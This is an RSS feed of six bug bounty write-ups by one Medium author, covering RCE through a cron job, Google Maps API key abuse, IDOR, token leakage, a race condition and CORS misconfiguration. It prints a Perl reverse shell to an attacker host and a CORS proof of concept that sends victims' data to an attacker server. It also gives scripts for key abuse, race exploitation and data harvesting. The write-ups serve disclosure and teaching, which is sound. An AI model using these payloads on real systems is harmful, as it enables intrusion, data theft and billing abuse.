<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by r0b0ts on Medium]]></title>
        <description><![CDATA[Stories by r0b0ts on Medium]]></description>
        <link>https://medium.com/@r0b0ts?source=rss-3dd2bb6e6b69------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*K4OlwLNgMS2bmZe4z3yzuA.png</url>
            <title>Stories by r0b0ts on Medium</title>
            <link>https://medium.com/@r0b0ts?source=rss-3dd2bb6e6b69------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 05:33:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@r0b0ts/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Tried to Trigger Remote Code Execution via Cron Job]]></title>
            <link>https://r0b0ts.medium.com/how-i-can-trigger-remote-code-execution-via-cron-job-b7d9d7dc9372?source=rss-3dd2bb6e6b69------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7d9d7dc9372</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[r0b0ts]]></dc:creator>
            <pubDate>Fri, 14 Feb 2025 06:59:07 GMT</pubDate>
            <atom:updated>2025-02-17T14:18:10.238Z</atom:updated>
            <content:encoded><![CDATA[<p>Remote Code Execution</p><p>Hello, it is r0b0ts.</p><p>I want to share one of my bug hunting stories. I want to leave this story because it was an interesting journey to me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*I-kHK6XVv_1ZL6BA.png" /></figure><p>The target application mainly provided cloud service. So, I decided to hunt manually with a little recon. When I was checking functions of the application, I found Cron Job function. The Cron Job could work on server application that user can easily generate and delete as role. <strong>Additionally, there was a restriction that limits user access to server or applications as user’s role.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/0*Vtuw7TlgJPSLAawL.png" /></figure><p>In Cron Job function, user can register scheduler with only PHP, cURL, Wget. When I saw that, suddenly an idea occurred to me. The scenario is that attacker can get reverse shell if attacker can use another module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/0*pcLpj5nK53mx28_n.png" /></figure><p>I tested nc, ncat,…etc modules and used ‘ | ’, ‘ ; ’,…etc concators like above picture. But, there were no results. I thought that the application server had only some modules and there was restriction to execute concators in Cron Job.</p><p>While I was researching about Cron Job and wondering to get reverse shell, I decided to test perl script. Fortunately, perl is installed by default to the application server. So, I made reverse shell script using perl.</p><pre>use Socket;$i=&quot;[attacker server ip]&quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*222v6d1zBMohv42x.png" /></figure><p>And, I downloaded the reverse shell script to application server from attacker server. When I download the script file using curl module, I used -o option to set specific path for easy shell script execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*i9t3LKWEDkb9EbR4.png" /></figure><p>Next, open 443 port and listening with Netcat module in attacker’s external server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*aSMTvBYhQLWcGZZf.png" /></figure><p>Cron Job function in the application provided schedule script editing. So, I could run the perl script saved as /tmp/shell3.pl in the application server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*CDPoZn2t-He3JlwK.png" /></figure><p>After I registered the perl script execution scheduler, I could get reverse shell.</p><p>I could access /etc/passwd, other applications name, other server resources,…etc with this shell. <strong>So, I thought that low level privilege user can access server resources that more high level privilege user can only access</strong>. But unfortunately, there was restriction to write files some folders and can not full access to other applications. So, it was marked as intended function.</p><p>Finding Remote Code Execution vulnerability is not easy😂</p><p>Happy Hacking~!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7d9d7dc9372" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I proved impact with Google Map API Key]]></title>
            <link>https://r0b0ts.medium.com/how-i-proved-impact-with-google-map-api-key-7aa801616abb?source=rss-3dd2bb6e6b69------2</link>
            <guid isPermaLink="false">https://medium.com/p/7aa801616abb</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <dc:creator><![CDATA[r0b0ts]]></dc:creator>
            <pubDate>Wed, 25 Sep 2024 14:49:29 GMT</pubDate>
            <atom:updated>2024-09-28T04:51:04.820Z</atom:updated>
            <content:encoded><![CDATA[<h4>Information Disclosure</h4><p>In this story, I will share a method how to prove impact when we find google map API key. In my bug hunting journey, I found google map API key. But, I knew that google map API key is usually triaged to ‘informative’. So, I thought that I should prove risk when the google map API key is leaked. I will show you how I proved the impact.</p><h4>Reproduce</h4><p>After checking up a target manually, I was doing recon with automation tool. First, I was using Nuclei with default and custom templates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*d6_z56xzUm7J0Jvt6VEDWw.png" /></figure><p>With default templates, I found google map API key in /hopfully404 directory. I didn’t know what is /hopfully404 directory and how the template is structured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*uN9aGeCiqtD305QAOsnAkw.png" /></figure><p>The ‘google-api-key’ Nuclei template is just checking “AIza[0–9A-Za-z\\-]{35}” regex in response when acceess to BaseURL and BaseURL/hopfully404 directory.</p><p>In my target, when user accesses to BaseURL/hopfully404 directory, the page redirects to BaseURL page. The BaseURL default page contained the API key. So, the Nuclei tempate could detect it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VWJV7BfTLdIStt7-p728Q.png" /></figure><p>I searched the google map API key with Burp-Suite. My target application had finding world location function. So, I think the application uses maps.googleapis.com API in many other scripts like JS, HTML…etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E5xp37iCiLr3DGy9ElUkBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9zy_Zg4AnwJdRcPGgtcHLw.png" /></figure><p>I used ‘keyhack’ tool(https://github.com/streaak/keyhacks) for testing the API key available. The API key can be used for multiple purposes. If the API key request is exceed some criteria, owner of the API key should pay depending on the number of requests.</p><pre>import requests<br>import time<br><br>interval = 0.5<br>word_path= &quot;*****/****/****/wordlist&quot;<br><br>def send_request():<br>    for word in words:<br>        url = f&quot;https://maps.googleapis.com/maps/api/place/textsearch/json?query={word}&amp;key=********************&quot;<br>        <br>        response = requests.get(url)<br>        <br>        if response.status_code == 200:<br>            print(f&quot;{url}&quot;)<br>        else:<br>            print(f&quot;Failed =&gt; {response.status_code}&quot;)<br><br><br>def read_query(file_path):<br>    try:<br>        with open(file_path, &#39;r&#39;, encoding=&#39;utf-8&#39;) as file: <br>            lines = file.readlines()  <br>            return lines<br>        <br>    except FileNotFoundError:<br>        print(f&quot;File not found: {file_path}&quot;)<br>        <br>    except Exception as e:<br>        print(f&quot;An error occurred: {e}&quot;)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    words = read_query(word_path)<br>    while True:<br>        send_request()<br>        time.sleep(interval)</pre><p>Finally, I made a POC code. If attacker send requests excessively with the API key, owner of the API key can get financial risk. With this code, attacker can make a lot of requests with the API key automatically. Attacker can adjust interval time and number of words in word list.</p><h4>Result</h4><p>I reported with this POC, I got duplicated finally :)</p><p>Happy Hacking!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7aa801616abb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple IDOR vulnerability can lead to leak Email address of all users]]></title>
            <link>https://r0b0ts.medium.com/simple-idor-vulnerability-can-lead-to-leak-email-address-of-all-users-055ada3ba3fc?source=rss-3dd2bb6e6b69------2</link>
            <guid isPermaLink="false">https://medium.com/p/055ada3ba3fc</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[r0b0ts]]></dc:creator>
            <pubDate>Sat, 21 Sep 2024 14:50:44 GMT</pubDate>
            <atom:updated>2024-09-25T14:50:56.184Z</atom:updated>
            <content:encoded><![CDATA[<p>IDOR</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*L1qC5BdQ1E2PthHN3tBIFw.png" /></figure><p>In this story, I am going to talk about my bug hunting journey that found the IDOR vulnerability.</p><p>IDOR vulnerability is easy to understand. But, it can be occurred as much XSS(Cross-Site Scripting) and get high severity. Because it can lead to PII(Personally Identifying Information) leak<strong> </strong>by just change object value.</p><p>I was just using various application’s functions to understand what is the application. It was shopping platform and I had a order number. So, I can check order status with the order number.</p><pre>POST /v2/order-numbers/123456789/status HTTP/2<br>Host: *****<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0<br>Accept: */*<br>Accept-Language: en-US, en<br>Accept-Encoding: gzip, deflate, br<br>Referer: <a href="https://*****/">https://*****</a><br>Authorization: ******************************<br>Content-Type: application/json<br>Content-Length: 21<br>Origin: <a href="https://*********/">https://*********</a><br>Priority: u=4<br>Te: trailers</pre><p>As shown above request API, with order number 123456789, user can know order status.</p><p>My order number 123456789 is cancelled order. So, when I checked status of the cancelled order number, I got ‘It is cancelled order number’ error message including user’s email address connecting to the order number.</p><blockquote>I supposed that other users’ cancelled order number will get similar error message including each users’ email address.</blockquote><p><strong>So, I just fuzzed 4 digit number from back to know other users’ cancelled error message that contain each users’ email.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*cGz1WzAOIoUswYXe0hD_YA.png" /></figure><p>As shown above fuzzing result, attacker can know other users’ email with the error message. Also, if the order number is not exist, server responses internal server error with status 500.</p><p>With the result of fuzzing, attacker can get a lot of email addresses and existing order numbers.</p><p>Happy hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=055ada3ba3fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Some Token Leak Can Lead to Disclose a Lot of Users’ Personal Data]]></title>
            <link>https://r0b0ts.medium.com/some-token-leak-can-lead-to-disclose-a-lot-of-users-personal-data-6b5b7748ccec?source=rss-3dd2bb6e6b69------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b5b7748ccec</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[r0b0ts]]></dc:creator>
            <pubDate>Sat, 21 Sep 2024 13:11:07 GMT</pubDate>
            <atom:updated>2025-02-18T02:03:06.638Z</atom:updated>
            <content:encoded><![CDATA[<p>PII leak</p><p>In this post, I want to share you how important to read JavaScript and recon about target. JavaScript can contain important resources like DB info, credentials, hidden parameter, hidden API,…..etc. Also, recon can give you understanding the target and some hidden point in the application. <strong>So, I got a hidden point with wide recon and I escalated to ‘High’ severity with JavaScript.</strong></p><p>I changed specific data about API and used a comprehensive words because it must be kept secret for the security of the target. I ask for your understanding.</p><p>As usually, I was analyzing JavaScript manually. When I was analyzing some API logic in JavaScript, I found the target use specific token for application function.</p><pre>cat host.txt | waybackurls | tee -a all_endpoint.txt<br><br>cat host.txt | waymore | tee -a all_endpoint.txt<br><br>katana -u target.com -passive -f qurl &gt;&gt; target_endpoint.txt<br><br>arjun -u https://target.com &gt;&gt; target_endpoint.txt</pre><p>For understanding the token, I searched directories and API with Recon tools. Fortunately, I found some directories including the specific tokens. I accessed the endpoint quickly and redirected to page that can register users to some group.</p><p>After further interacting with the the function, I understood that the token is matching with each group. So, user can join the group with no authentication only using the URL including specific tokens. In other words, all users without authentication can join the group matching the specific token. So, the tokens should not be open to the public.</p><p><strong>I thought this is insufficient risk impact for approving. What attacker can do after join the group? So, I decided to escalate the severity.</strong></p><p>I started to find and analyze API using the specific token in the JavaScript. When I was reading JavaScript, I found <em>/v1/token-function/group/{specific-number}/user </em>API using specific number of group. With this API, attacker can get a lot of users’ personal data of the group.</p><pre>require(&#39;core-js/stable&#39;);<br>require(&#39;regenerator-runtime/runtime&#39;);<br><br>const fetch = require(&#39;node-fetch&#39;);<br><br>const url = &#39;https://target.com/api/v1/token-function/group/{specific-number}/user&#39;;<br><br>const postData = {<br>    data:&quot;{search}&quot;<br>};<br><br>const headers = {<br>  &#39;Content-Type&#39;: &#39;application/json&#39;,<br>  &#39;Authorization&#39;: &#39;{JWT token}&#39;<br>};<br><br>fetch(url, {<br>  method: &#39;GET&#39;,<br>  headers: headers,<br>  body: JSON.stringify(postData)<br>})<br>.then(response =&gt; {<br>  if (!response.ok) {<br>    throw new Error(&#39;error&#39;);<br>  }<br>  return response.json();<br>})<br>.then(data =&gt; {<br>  console.log(data);<br>})<br>.catch(error =&gt; {<br>  console.error(&#39;fetch error:&#39;, error);<br>});</pre><p>For using the API, attacker should get two things.</p><p>[1] Attacker should join in the group. Because the API use ‘Authorization’ header that check whether the user belongs to the group. In here, attacker can join the group with the specific token easily.</p><p>[2] Attacker should know the specific number representing the group. But, in here, I couldn’t know the number because I joined the group directly with token.</p><p>So, I searched API history with Burp-Suite to get the specific number of the group and found<em> /v1/users</em> API.</p><pre>require(&#39;core-js/stable&#39;);<br>require(&#39;regenerator-runtime/runtime&#39;);<br><br>const fetch = require(&#39;node-fetch&#39;);<br><br>const url = &#39;https://target.com/api/v1/users&#39;;<br><br>const headers = {<br>  &#39;Authorization&#39;: &#39;{JWT token}&#39;<br>};<br><br>fetch(url, {<br>  method: &#39;GET&#39;,<br>  headers: headers,<br>})</pre><p>With this API, user can know their own data including group data that the user joined. In here, I could find the specific number of the group in response body data.</p><p>Finally, using the specific number representing the group, attacker can get all users’ data in the group with <em>/v1/token-function/group/{specific-number}/user</em> API. In other word, attacker can get all users’ data in the group user joined with the leaked tokens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UJD56G_2aEvV6weebnX0zA.png" /></figure><p>It is triaged as CVSS 7.5 and accepted.</p><p>Happy Hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b5b7748ccec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Race Condition About The User Version and Ignored]]></title>
            <link>https://r0b0ts.medium.com/race-condition-about-the-user-version-and-ignored-c98fec642d1b?source=rss-3dd2bb6e6b69------2</link>
            <guid isPermaLink="false">https://medium.com/p/c98fec642d1b</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <dc:creator><![CDATA[r0b0ts]]></dc:creator>
            <pubDate>Tue, 06 Aug 2024 10:17:14 GMT</pubDate>
            <atom:updated>2024-08-06T10:17:14.174Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, it is r0b0ts.</p><p>In this story, I am going to talk about success story with race condition and ignored about it. I was so puzzled. So, I want to share about it.</p><p>As usually, I was interacting with the application. When I was checking about version authorization, I found that there are 3 different version. The versions are normal, premium, professional. For use the premium and professional version, user should pay extra money. I suddenly thought that “if Race Condition vulnerability exists, user can bypass payment process for using premium version?”. So, I tried to trigger Race Condition vulnerability.</p><p>First, normal version user only can make 3 workspace. If user want to use more workspace, user should pay about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPgCo_Dsv5F45BUYiNTSyg.png" /></figure><p>As shown above request and response, if normal user already has 3 workspace, user can not make workspace and get 403 forbidden.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2LaXMUCsfVG1mxUjNotwg.png" /></figure><p>Then, I successfully trigger Race Condition with Burp-Suite extension Turbo-Intruder and I can get a lot of workspace. The response status 201 means that workspace was created successfully.</p><pre>import threading<br>import requests, json<br>import time<br><br>try_making = 30<br>data = {&quot;[request body]&quot;}<br>headers = {&#39;Content-Type&#39;: &#39;application/json; charset=utf-8&#39;}<br>cookies = {&#39;_dct&#39;: &#39;[JWT token]&#39;}<br><br>#request with credential<br>def making_workspace():<br>    global try_making, data, headers, cookies<br>    if try_making &gt; 0:<br>        response = requests.post(&#39;https://vulnerable_host/workspace&#39;, data=json.dumps(data), headers=headers, cookies=cookies)<br>        print(response.text)<br>        try_making -= 1<br>        <br>#request with multithread            <br>def current_execution():<br>    for i in range(3):<br>        making_workspace()<br>        <br>#threading<br>thread1 = threading.Thread(target=current_execution)<br>thread2 = threading.Thread(target=current_execution)<br>thread3 = threading.Thread(target=current_execution)<br>thread4 = threading.Thread(target=current_execution)<br>thread5 = threading.Thread(target=current_execution)<br>thread6 = threading.Thread(target=current_execution)<br>thread7 = threading.Thread(target=current_execution)<br>thread8 = threading.Thread(target=current_execution)<br>thread9 = threading.Thread(target=current_execution)<br><br>#thread start<br>thread1.start()<br>thread2.start()<br>thread3.start()<br>thread4.start()<br>thread5.start()<br>thread6.start()<br>thread7.start()<br>thread8.start()<br>thread9.start()<br><br>#thread end<br>thread1.join()<br>thread2.join()<br>thread3.join()<br>thread4.join()<br>thread5.join()<br>thread6.join()<br>thread7.join()<br>thread8.join()<br>thread9.join()<br><br><br>print(&quot;Final remain trying: %d&quot; % try_making)</pre><p>The above code is POC code. I adjusted thread, try_making value to successfully trigger. In order to keep secret, I erased the request payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7niOYNGOo3c470bnk3Qtg.png" /></figure><p>For easy understanding the POC code, I added my picture. When I actually ran the code, the race window changes with each execution. So, I had to adjust the thread.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wkDJ__ijVuv15dwICkFF3A.png" /></figure><p>It is result of the POC code execution and successfully got a lot of workspace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Yiji5VgwLxZvn22xKpEjg.png" /></figure><p>However, after I submitted report, I received like above picture :(</p><p>I am so sad about it and upset about the program that have not been notified in advance.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c98fec642d1b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My First Bug Bounty: CORS Misconfiguration]]></title>
            <link>https://r0b0ts.medium.com/my-first-bug-bounty-cors-misconfiguration-3e6f38835c4e?source=rss-3dd2bb6e6b69------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e6f38835c4e</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[secu]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <dc:creator><![CDATA[r0b0ts]]></dc:creator>
            <pubDate>Tue, 06 Aug 2024 07:26:36 GMT</pubDate>
            <atom:updated>2024-08-06T07:26:36.850Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, it is r0b0ts.</p><p>In this post, I am going to talk about my first bug bounty story.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*FY9ig8enCMhGQaw0Jk76nA.png" /><figcaption>CORS misconfiguration</figcaption></figure><p>I think CORS misconfiguration vulnerability is not hard to find. But, if this vulnerability occurs on a particular endpoint that includes users’ personal data, external attacker can access to the victim’s data and the data can be leaked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*Ndnkolt5Cmw3yKOeDUDJRw.png" /></figure><p>As you can see above picture, there is a CORS misconfiguration vulnerability exploit scenario. First, attacker makes malicious URL contain CORS exploit code and victim access the URL. Then, victim sends their sensitive data to attacker as exploit code. In here, the response of vulnerable API should include sensitive data.</p><p>So, if the endpoints that include sensitive data, there should be CORS policy.</p><p>Then, how I can find it?</p><p>At first, I just debugging API manually. When I check login page API, I found API to get user’s personal data. By chance, I thought that I should check that origin header for CORS misconfiguration. Fortunately, there are no CORS policy in request header. There are a lot of information are included in response body and also contain user’s personal data. I think that because of the a lot of data, developer missed to check CORS request header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YAmpOQGhAmRwcEsLD-ZjIQ.png" /></figure><p>As shown above request and response packet, attacker can manipulate origin header. I input ‘https://naver.com’ to origin header and successfully get ‘Access-Control-Allow-Origin: <a href="https://naver.com/">https://naver.com</a>’, ‘Access-Control-Allow-Credentials: true’.</p><p>‘Access-Control-Allow-Credentials: true’ means that when attacker access to response from external, attacker can get response with victim’s credentials. So, there should be ‘Access-Control-Allow-Credentials: true’ in response header for trigger CORS misconfiguration vulnerability.</p><pre>&lt;html&gt;<br>     &lt;body&gt;<br>         &lt;h2&gt;CORS POC&lt;/h2&gt;<br>         &lt;div id=&quot;demo&quot;&gt;<br>             &lt;button type=&quot;button&quot; onclick=&quot;cors()&quot;&gt;Exploit&lt;/button&gt;<br>         &lt;/div&gt;<br>         &lt;script&gt;<br>             function cors() {<br>             var xhr = new XMLHttpRequest();<br>             xhr.responseType = &quot;blob&quot;;<br>             xhr.onreadystatechange = function() {<br>                 if (this.readyState == 4 &amp;&amp; this.status == 200) {<br>                 document.getElementById(&quot;demo&quot;).innerHTML = alert(this.response);<br>                 }<br>             };<br>              xhr.open(&quot;GET&quot;,<br>                       &quot;https://vulenrable_host/v2/user/&quot;, true);<br>             xhr.withCredentials = true;<br>             xhr.send();<br>             }<br>         &lt;/script&gt;<br>     &lt;/body&gt;<br> &lt;/html&gt;</pre><p>It is POC code on attacker’s malicious server. To show that external attacker can access to the response of vulnerable API, I just pop up sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5J7vsfuFF9gOVqbtFXB1MA.png" /></figure><p>POC code successfully conducted and pop up with sensitive user’s data.</p><pre>&lt;html&gt;<br>    &lt;body&gt;<br>        &lt;h2&gt;CORS PoC&lt;/h2&gt;<br>        &lt;div id=&quot;demo&quot;&gt;<br>            &lt;button type=&quot;button&quot; onclick=&quot;cors()&quot;&gt;Exploit&lt;/button&gt;<br>        &lt;/div&gt;<br>        &lt;script&gt;<br>            function cors() {<br>            var xhr = new XMLHttpRequest();<br>            xhr.onreadystatechange = function() {<br>                if (this.readyState == 4 &amp;&amp; this.status == 200) {<br>                    appendToFile(this.responseText);<br>                }<br>            };<br>            xhr.open(&quot;GET&quot;, &quot;https://vulenrable_host/v2/user/&quot;, true);<br>            xhr.withCredentials = true;<br>            xhr.send();<br>            }<br><br>            function appendToFile(content) {<br>                var xhr = new XMLHttpRequest();<br>                xhr.open(&quot;POST&quot;, &quot;http://attacker_server/saveData&quot;, true);<br>                xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br>                xhr.send(&quot;content=&quot; + encodeURIComponent(content)); <br>            }<br>        &lt;/script&gt;<br>    &lt;/body&gt;<br>&lt;/html&gt;</pre><p>For really trigger the vulnerabilty, I upgraded the POC code. In this code, attacker can get sensitive data directly from user to attacker’s server. If above code are conducted, access log will be left to the attacker’s server with user’s sensitive data.</p><p>With this POC, I finally get accepted and resolved in intigriti.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e6f38835c4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>